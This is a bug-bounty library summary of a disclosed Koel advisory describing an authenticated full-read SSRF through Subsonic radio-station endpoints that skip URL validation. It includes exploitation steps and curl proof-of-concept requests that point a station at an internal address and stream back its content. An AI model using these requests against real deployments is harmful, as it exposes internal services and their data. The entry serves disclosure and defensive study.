# Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations

Koel's Subsonic radio endpoints skip SafeUrl validation, letting an authenticated user store an internal URL and read its response via /radio/stream/{id}.

- Payout: Research
- Severity: high
- Program: Koel
- Found by: dennyabrahamsinaga
- Disclosed: 2026-07-15
- CVE: CVE-2026-54493
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6p96-cfg5-4vhp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6p96-cfg5-4vhp
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:legacy-endpoint technique:source-review vuln:access-control vuln:misconfiguration vuln:ssrf

**Target:** Subsonic-compatible internet radio station API and radio stream proxy
**Root cause:** Subsonic Create/UpdateInternetRadioStationRequest validators only require 'string' for streamUrl, omitting the SafeUrl and HasAudioContentType rules used by the main radio API; RadioStreamProxy::openStream then fopen()s the stored URL and echoes the body back.
**Steps:**
1. Authenticate via `POST /api/me` with credentials to get `token`.
2. Fetch `GET /api/data` with `Authorization: Bearer $API_TOKEN` and read `current_user.subsonic_api_key`.
3. Confirm web API blocks internal URL: `POST /api/radio/stations` with `{"name":"blocked","url":"http://172.17.0.1:18090/feed.xml"}` returns 422 'The url must point to a public URL.'
4. Create station via Subsonic: `GET /rest/createInternetRadioStation.view?apiKey=$SUBSONIC_KEY&f=json&name=xmlpeek&streamUrl=http://172.17.0.1:18090/feed.xml` returns 200 status ok.
5. Resolve station id via `GET /rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json`.
6. Request `GET /radio/stream/$STATION_ID?api_token=$API_TOKEN`; response body contains the internal target's content.
**How found:** Noticed the Subsonic-compatible radio routes create the same RadioStation object as the web API but their FormRequests lack the SafeUrl/HasAudioContentType rules present in RadioStationStoreRequest/UpdateRequest — a validation gap between two code paths for the same object — then traced the stored URL to RadioStreamProxy::openStream and the echo loop.
**Exploitation:** Any authenticated user (with their Subsonic API key) creates a radio station pointing at an internal address, then plays it; Koel's RadioStreamProxy opens the URL server-side and streams the upstream response body back to the attacker, yielding full-read SSRF against loopback, RFC1918, Docker-bridge services, admin panels, metrics and metadata endpoints.
**Insight:** When an app exposes a second API surface (Subsonic/legacy/compat endpoints) that writes the same model as the hardened primary API, diff the FormRequest/validator rules between the two paths; a missing rule on the alternate route reopens the exact SSRF the primary route blocks.

## Proof of concept (copied exactly from the original report)

**Subsonic createInternetRadioStation request with internal URL**

```
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"
```

**Stream station to read internal response body**

```
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

- HTTP `200`
- Response body contains the upstream content from the internal target URL
```

**Web API blocked request for comparison**

```
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
```

